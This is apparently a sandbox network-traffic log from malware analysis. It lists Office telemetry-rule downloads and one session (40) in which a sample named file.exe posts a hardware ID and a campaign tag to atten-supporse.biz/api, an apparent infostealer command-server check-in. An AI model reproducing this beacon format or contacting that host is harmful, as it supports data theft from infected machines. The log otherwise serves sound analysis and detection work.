2024-12-01 02:32:38 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:38 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:38 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5810d2d2-301e-0000-6891-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023238Z-174f7845968nxc96hC1EWRspw80000001230000000005hpm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:38 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	49747	172.67.165.166	443	7408	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:39 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Q7YCKPFF3UIC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1184 Host: atten-supporse.biz
2024-12-01 02:32:39 UTC	1184	OUT	Data Raw: 2d 2d 51 37 59 43 4b 50 46 46 33 55 49 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 36 43 42 44 44 36 36 36 44 41 43 41 37 30 34 41 36 42 30 31 35 45 39 35 34 35 36 36 31 30 0d 0a 2d 2d 51 37 59 43 4b 50 46 46 33 55 49 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 51 37 59 43 4b 50 46 46 33 55 49 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 51 37 59 43 4b 50 46 46 Data Ascii: --Q7YCKPFF3UICContent-Disposition: form-data; name="hwid"876CBDD666DACA704A6B015E95456610--Q7YCKPFF3UICContent-Disposition: form-data; name="pid"1--Q7YCKPFF3UICContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--Q7YCKPFF
2024-12-01 02:32:42 UTC	1027	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dnvouk5bbjt0fo1qcps3qsqp6v; expires=Wed, 26-Mar-2025 20:19:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fILe24lMcaI1jG97%2FwfV11%2BNYjJ7mV0jKO8uBiuiBsGkbl%2F7O1WCeX68mvJeSnfYZjW8Rn1ScOt1oEQvhMPk0tAFZN5MRognf9Mq%2FCTHmESjl7J%2F9Hglg9E%2FYgH2c6mY2Xi%2BB%2B0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eafaafd19b77d26-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1898&min_rtt=1885&rtt_var=733&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2097&delivery_rate=1465863&cwnd=194&unsent_bytes=0&cid=044888f858f10a1c&ts=3063&x=0"
2024-12-01 02:32:42 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-01 02:32:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.7	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:39 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:40 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 56bedb93-201e-0033-7607-41b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023240Z-174f7845968swgbqhC1EWRmnb400000012k0000000001kbn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:40 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.7	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:40 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:40 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 9dc9d887-801e-0015-73b3-42f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023240Z-174f7845968glpgnhC1EWR7uec00000012d000000000fqn8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:40 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:40 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:40 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e52ede4a-001e-0017-0591-3f0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023240Z-174f78459688l8rvhC1EWRtzr00000000ez0000000003zq8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:40 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.7	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:40 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:40 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 490736a9-701e-0097-7e01-42b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023240Z-174f78459684bddphC1EWRbht40000001230000000005eqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:40 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:42 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:42 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 4506793e-f01e-0071-0b15-41431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023242Z-174f7845968pght8hC1EWRyvxg00000005dg00000000c950 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:42 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:42 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:42 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 4edae9bd-001e-0017-14b4-420c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023242Z-174f78459688l8rvhC1EWRtzr00000000ex0000000009aqf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:43 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:42 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:42 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: be2d73de-001e-002b-2f62-4399f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023242Z-174f7845968psccphC1EWRuz9s00000012kg000000007ug4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:43 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:42 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:43 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: fac49ef3-501e-008f-0a91-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023243Z-174f7845968pf68xhC1EWRr4h800000012mg0000000050rf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:43 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:43 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:44 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 1fa1b817-401e-0067-5691-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023244Z-174f7845968psccphC1EWRuz9s00000012gg00000000cada x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:44 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 